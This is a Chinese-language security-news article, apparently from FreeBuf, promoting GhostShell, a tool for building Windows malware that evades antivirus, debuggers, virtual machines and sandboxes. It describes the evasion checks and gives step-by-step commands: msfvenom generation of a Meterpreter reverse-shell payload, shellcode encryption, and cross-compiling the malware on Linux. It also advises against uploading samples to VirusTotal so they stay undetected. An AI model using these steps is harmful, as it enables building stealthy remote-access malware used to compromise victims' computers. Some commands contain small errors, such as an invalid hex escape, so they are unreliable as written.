GhostShell:一款帶有AV繞過和反分析技術的惡意軟件研究工具
GhostShell是一款專爲惡意軟件研究人員設計的工具,首先它是無法被檢測到的,自帶有反病毒產品繞過技術,並且無法進行反彙編分析。同時在這個惡意軟件中,它還使用了某些技術來繞過反病毒產品、虛擬機和沙箱環境。 注意事項
爲了保證反病毒產品無法檢測到GhostShell,請不要將生成的樣本發送至VirusTotal。如果想要檢測GhostShell,可以將其發送至 https://www.hybrid-analysis.com/ ,別忘了勾選“Do not send my sample to non-affiliated third parties”選項(不要將我的樣本發送給第三方廠商)。
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地,然後進行代碼編譯:
git clone https://github.com/ReddyyZ/GhostShell.git
繞過技術
反調試器
爲了嘗試繞過調試器的分析,GhostShell在這裏使用了 Windows.h
庫中的 IsDebuggerPresent()
方法來判斷當前是否有代碼調試器正在運行。
反虛擬機/反沙箱環境/反AV
1、 進程枚舉功能
GhostShell可以枚舉出當前操作系統中所有正在運行的進程,然後將進程列表與黑名單中的進程名稱進行對比,如果找到了匹配的進程,則返回識別標識符“-1”。
2、 休眠加速檢測功能
首先,GhostShell會嘗試獲取當前時間,然後休眠兩分鐘。接下來,並再次嘗試獲取時間,然後進行對比。如果時間差小於2,則返回識別標識符“-1”。
3、 MAC地址檢測功能
獲取系統MAC地址,並與黑名單中的MAC地址進行比對,如果檢測到了匹配項,則返回識別標識符“-1”。
生成ShellCode
如需生成ShellCode,你需要在命令行終端窗口中輸入下列命令:
msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c
接下來,你需要拷貝生成的ShellCode,然後對其進行加密處理。
在加密時,你需要使用 encrypt_shellcode
腳本。
在Linux平臺上,請運行下列命令:
./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
在Windows平臺上,請運行下列命令:
encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""
如何在Linux編譯Windows端惡意軟件
如果你需要在Linux系統中編譯適用於Windows平臺的GhostShell程序,首先你需要運行下列命令安裝mingw-w64:
sudo apt-get install mingw-w64
接下來,運行下列命令編譯32位代碼:
i686-w64-mingw32-gcc -o main.exe main.c -l psapi –static
或者,你也可以運行下列命令編譯64位源碼:
x86_64-w64-mingw32 -o main.exe main.c -l psapi -static
許可證協議
GhostShell項目的開發與發佈遵循 MIT開源許可證協議
項目地址
GhostShell:【 GitHub 傳送門 】
參考來源
ReddyyZ
*FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM